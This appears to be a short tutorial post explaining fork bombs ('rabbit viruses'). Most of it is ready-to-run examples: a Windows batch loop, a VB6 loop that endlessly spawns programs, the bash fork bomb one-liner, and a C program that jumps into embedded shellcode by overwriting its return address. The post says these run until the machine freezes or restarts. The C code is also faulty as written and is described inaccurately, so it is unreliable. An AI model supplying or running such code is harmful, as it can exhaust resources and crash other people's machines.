Rabbit Viruses a.k.a Fork Bombs are more of logically flawed programs than viruses though at times intentional most programmers have made this in one way or another. A common example is an infinite while loop i.e. a while loop that always returns a true condition.
Looking at a couple example to put it into perspective on windows using less harmful ones:
Using Batch Scripting
:rabbit
Start cmd.exe
Start mmc.exe
Start explorer.exe
Goto :rabbit
The code above does something very simple; we ensure all its functionality is under a small sub class i.e. rabbit, once its done executing it is looped back to the beginning and it will keep doing so until windows freezes, logs off or restarts. It will open command prompt,Microsoft management console and windows explorer.
Using C version 6 on Windows:
// Use stdio.h header regularly
unsigned char shellcode[] =
“\x8B\xEC\x33\xFF\x57”
“\xC6\x45\xFC\x63\xC6\x45”
“\xFD\x6D\xC6\x45\xFE\x64”
“\xC6\x45\xF8\x01\x8D”
“\x45\xFC\x50\xB8\xC7\x93”
“\xBF\x77\xFF\xD0”;
int main ()
{
int rabbit =1;
While (rabbit=1)
{
int *ret;
ret=(int *)&ret+2;
printf(“Shellcode Length is : %d\n”,strlen(shellcode));
(*ret)=(int)shellcode;
}
return 0;
}
The code above checks whether rabbit is equal to 1 and since it is initialized, it remains a true condition and command prompt will be lanuched endlessly.
Using Visual Basic 6
Dim wPad as string
Dim cPrompt as string
Dim rabbit as integer
rabbit=1
While (rabbit=1)
wPad=Shell(“write.exe”, vbMaximizedFocus)
cPrompt=Shell(“cmd.exe”, vbMaximizedFocus)
wend
The above will keep launching command prompt and wordpad as maximized windows until windows freezes, logsoff or restarts.
On linux it can be done using Bash which would take a similar approach to batch scripting lets do one example.
:(){ :|:& };:
The above will keep requesting resources until the machine is restarted.